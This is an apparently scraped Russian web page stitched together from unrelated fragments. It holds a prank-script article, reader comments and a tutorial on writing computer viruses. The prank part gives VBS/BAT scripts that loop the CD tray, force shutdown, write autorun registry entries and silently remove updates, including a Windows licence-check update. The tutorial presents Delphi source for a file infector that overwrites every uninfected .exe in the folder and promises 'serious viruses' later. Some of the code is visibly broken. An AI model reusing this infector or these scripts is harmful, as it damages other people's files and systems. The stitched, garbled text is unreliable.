Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь.
Считывает сектор с загрузочной записью флоппи диска Здравствуйте!Подскажите пожалуйста как написать такую программу Написать 16–ти разрядную.
Пойдут ли 2 видюхи Всем привет , я скоро собираюсь покупать матиринку . А на данный момент у меня стойт видюха gtx.
Управление дисководом Здравствуйте! Не подскажете, можно ли как то извлекать каретку дисковода с помощью C#?
![]() Проблема с дисководом В обычном положении дисковод при нажатии на кнопку срабатывает раза с десятого (при открытии и.
![]() С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.
Большинство похожих скриптов пишутся для удобства и автоматизации каких-либо действий на компьютере с ОС Windows. Представленные же ниже скрипты мало окажутся полезными (может мне так кажется), но они отлично подойдут для первоначального знакомства с "кодингом". Вы отлично проведете время, удивив как себя, так и знакомых чайников (не программистов), плюс это еще один хороший вариант убить время за компьютером.
- VBS - язык программирования для создания скриптов в ОС Windows, создается/редактируется в Блокноте Windows, имеет разрешение ".vbs". Думаю, продолжать не имеет смысла, ибо это мало о чем скажет, особенно новичкам. Интересующимся - статья в Википедии .
- BAT - пакетный файл, в народе просто "батник". Расширение файла ".bat". Дальше аналогично - статья в Википедии .
Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот - Notepad++. Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем - ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.
Для наглядности пример (слева - Блокнот Windows, справа - Notepad++):
![]()
Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления - то, что нужно.
Научим компьютер здороваться
- Открываем Блокнот (или Notepad Plus Plus).
- Копируем в вставляем код:
Set sapi=CreateObject("sapi.spvoice") sapi.Speak "Hello!"
Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.
Теперь, сделаем следующее: пропишем данный скрипт в автозагрузку, а это означает то, что при запуске компьютера вам будет произнесено написанное в программе слово (слова), если как в примере, то будет говорить - "Hello" при каждом включении компьютера. Как это сделать?
Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:
Dim vOrg, objArgs, root, key, WshShell root = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" KeyHP = "Program" Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite root+keyHP,"C:\Privet.vbs /autorun"
Изменяем путь до скрипта "говорилки", вот эту строчку - C:\Privet.vbs на свою. Прописываем где у вас лежит этот скрипт и как называется. Дальше сохраняем только что созданную мини программу в блокноте и запускаем. Все, теперь компьютер будет с вами здороваться пр каждом включении.
Открыть дисковод
Открыть блокнот. Скопировать/Вставить следующий код:
Set a = CreateObject("WMPlayer.OCX.7") Set b = a.CdromCollection Set c = b.Item(0) Set d = c.Eject
Сохранить с расширением .vbs
Запустить скрипт и откроется дисковод.
Есть более интересная модификация данного скрипта:
Set WMPlayer = CreateObject("WMPlayer.OCX.7") do WMPlayer.CdRomCollection.Item(0).Eject() loop
В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.
Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.
Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:
- Запустить диспетчер задач (комбинация клавиш Windows - Ctrl+Alt+Del).
- Перейти на вкладку "Процессы".
- Найти процесс wscript.exe - правая кнопка мыши - завершить процесс.
Игра
Интересная находка из Сети - игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.
![]() Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение .vbs).
Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.
Set y = CreateObject("Scripting.FileSystemObject") Set y = Nothing Do a = 0 u = 0 Randomize Number = Int((RND*99)+1) MsgBox "Я загадал число от 1 до 100, попробуй отгадать",64,"Угадайка" Do a = a + 1 c = InputBox("Угадай число" & vbCrLf & vbCrLf & "Попытка: " & a & vbCrLf & vbCrLf & "Чтобы посмотреть результаты введите число !" & vbCrLf & vbCrLf & "Для выхода оставьте поле пустым" & vbCrLf & vbCrLf,"Угадайка") If c = "!" Then CreateObject("WScript.Shell").Run "notepad C:\Windows\Result.dll",3,True : Exit Do If c <> "" Then If IsNumeric(c) = True Then If CInt(c) Number Then MsgBox "Нет,это не " & c & ". Я загадал число меньше",64,"Угадайка" If CInt(c) = Number Then Set y = CreateObject("Scripting.FileSystemObject") MsgBox ("Количество попыток: " & a) If MsgBox ("Правильно, это было число " & c & ". Начать заного?",36,"Угадайка") = 6 Then Exit Do Else WScript.Quit End If Else MsgBox "Это не число!",16,"Угадайка" a = a - 1 End If Else a = a - 1 l = MsgBox ("Ты ничего не ввел. Выйти из программы?",36,"Угадайка") If l = 6 Then WScript.Quit End If Loop loop
Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.
Скрипт закрывающий wscript.exe
Set TaskKill = CreateObject("WScript.Shell") TaskKill.Run "TaskKill /f /im wscript.exe"
По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.
Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее - батник).
Завершение работы /Перезагрузка компьютера
Совсем простой батник состоящий всего из одной строки.
- Открываем Блокнот.
- Пишем следующий код:
shutdown -s -t 1 -c -f
Далее Файл - Сохранить как - нзвание.bat
Обратите внимание на расширение файла, это уже не VBS скрипт, а батник, по этому в конце названия прописываем .bat (Пример compoff.bat).
Запускаем только что созданный батник двойным щелчком мыши и компьютер выключится (Завершение работы).
Есть такой вариант кода:
shutdown -r -t 1 -c -f
Все также, прописываем в блокноте, сохраняем с расширением .bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).
Удаление обновлений
Данный батник пригодится в том случае, если вы уже обновились до Windows 10. В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия - обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить функции слежки Windows 10, в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.
@echo echo echo Step 1: Delete Updates Telemetry wusa /uninstall /kb:3068708 /quiet /norestart wusa /uninstall /kb:3022345 /quiet /norestart wusa /uninstall /kb:3075249 /quiet /norestart wusa /uninstall /kb:3080149 /quiet /norestart
Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.
В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например - вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или восстанавливать реестр Windows или сделать восстановление системы.
![]()
![]()
![]() ![]()
![]()
![]()
![]()
![]()
![]()
Выключить эту программу можно простым образом, заходите в диспетчер задач (панель управления, или Ctrl+Alt+Del) выбираете вкладку “процессы” и завершаете там процесс Vbscript.exe.
> Купить в подарок или заказать уникальную вещь
- Подробнее об авторе
- 15 свежих записей
![]()
- Идея уркашения детской комнаты - 21.08.2019
- Акция! Возможность открыть свою обучающую школу от МозгоЧинов! - 19.07.2019
- Самодельная люстра в виде пирамиды с Трикветрами - 05.06.2019
- Поиск администраторов! - 29.01.2019
- Лайфхаки для родителей или старших братьев и сестёр - 13.12.2018
- Креативный подарок другу - 20.11.2018
- Купить самодельные световые мечи из StarWars для Halloween - 16.09.2018
- Как избавиться от недостатков школьного образования и системы - 09.09.2018
- Обновление сайта, снова открыта регистрация - 02.09.2018
- Узнай, как я зарабатываю путешествуя и занимаясь любимым делом - 02.08.2018
- Как я навёл порядок в своей коллекции домашних фото и видео на 300 Гб - 02.08.2018
- Как за 20 минут сделать крутой шлем виртуальной реальности v.3.0 - 23.07.2018
- Бизнес под ключ для детей - 09.02.2018
- Администрация сайта уходит в отпуск! - 22.12.2017
- ВНИМАНИЕ! Конкурс лучших инструкций - 13.10.2017
9 Replies to “Как приколоться над друзьями своими руками aka приколы к 1 апреля”
закрыть прогу можно при помощи bat ника в блокноте пишем @echo off taskkill /f /im Vbscript.exe переименовываем расширение с txt в bat и все)
прикольно понравилось с мылом
ГДЕ ВЗЯТЬ ТАКУЮ АБАЛДЕННУЮ МАЙКУ?!
СПОСОБ №1) походи по фотосалонам и узнай где делают вещи с логотипами… у нас в Караганде например есть отдельно в газетах салон чисто только этим и занимающийся, но и в ЦУМе в разделе печати фото я видел в списке услуг печать на футболках, кружках, ручках и других предметах… просто нужно скачать логотип и однотонную футболку, но и есть вариант сделать самому… данная информация кажется описывалась ранее но СПОСОБ №2) Вам нужны: Струйный принтер (Нет принтера? — ПОДНИМИ ЗАД и сходи к друзьям или знакомым ). Бумага для термо-переноса белая и прозрачная. (Нет бумаги? — ПОДНИМИ ЗАД и сходи в магазин! ) и конечно же ЧАЙНИК. шутка чайник не нужен нужен утюг и последнее самое главное поднять свою ЗАДНИЦУ пятую точку с дивана, кресла или стула, и пойти делать футболку… Все предельно просто! На белой бумаге мы печатаем изображения. Печать обычная, обычная (как фото) готовый отпечаток нужно 30 мин просушить. Вырезать, как нам нужно.Отклеить с основы, разложить на футболку, накрыть специальной бумагой (типа кальки, она идет в комплекте) и 1-2 мин сильно проглаживать утюгом на максимальной температуре без пара. На прозрачной бумаге , мы печатаем текст (учитывайте цвет футболки). И не забудьте отразить текст или изображение по горизонтали перед печатью, так как лист будете ложить распечатанной стороной вниз (НА ФУТБОЛКУ)… Готовый отпечаток просушиваем 30 мин. Вырезаем. И положив распечатанной стороной вниз, проглаживаем утюгом, 20-30 сек. Даем остыть, и аккуратно снимаем основу И еще….. стирать футболку надо в ручную, а гладить вывернув на изнанку на самой малой температуре.
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади - тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса | MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл - заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим - будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса | XORed часть ориг. проги | Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна. Я не зря тут (в классификации, в смысле) так распинаюсь - parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга - вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS; USES WINDOWS,SYSUTILS; begin end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char; SR : TSearchRec; My,pr : File; ProgSize,result : integer; PN,st : String; si : Tstartupinfo; p :Tprocessinformation; infected : boolean; CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю, ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме infected - это признак зараженности найденного файла и VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь. Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen); AssignFile (my,ParamStr(0)); st:= paramstr(0); St:= st+#0; CopyFile (@st[1],'c:\windows\program.exe',false); IF FileSize (my)> VirLen then begin //Запуск программы AssignFile (my,'c:\windows\program.exe); Reset (my); ProgSize:= FileSize(my)-VirLen; BlockRead (my,virbuf,virlen); SetLength (progbuf,pRogSize); BlockRead (my,progbuf,progSize); CloseFile (my); PN:= '_'+ParamStr(0); AssignFile (pr,PN); ReWrite (pr); BlockWrite (pr,progbuf,progSize); CloseFile (pr); FillChar( Si, SizeOf( Si ) , 0 ); with Si do begin cb := SizeOf( Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; PN:= PN+#0; Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p); Waitforsingleobject(p.hProcess,infinite); //Запустили, программа отработала. Сотрем ее 🙂 ErAsE (pr); Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно. А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы - на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr); WHILE Result= 0 DO begin //Проверка на вшивость Infected:= false; IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true; //Проверено! IF (infected= false)and (sr.name<>paramstr(0)) then begin AssignFile (my,sr.Name); ReWrite (my); BlockWrite (my,virbuf,virlen); BlockWrite (my,progbuf,sr.Size); CloseFile (my); FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00'))); end; end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает существующий файл и устанавливает позицию чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и уст. позицию чтения в начало. Если скормить ReWrite существующий файл, его содержимое будет обнулено
BlockRead - _lread и ReadFile - читает в буфер определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Читайте также:
Пожалуйста, не занимайтесь самолечением!При симпотмах заболевания - обратитесь к врачу.
|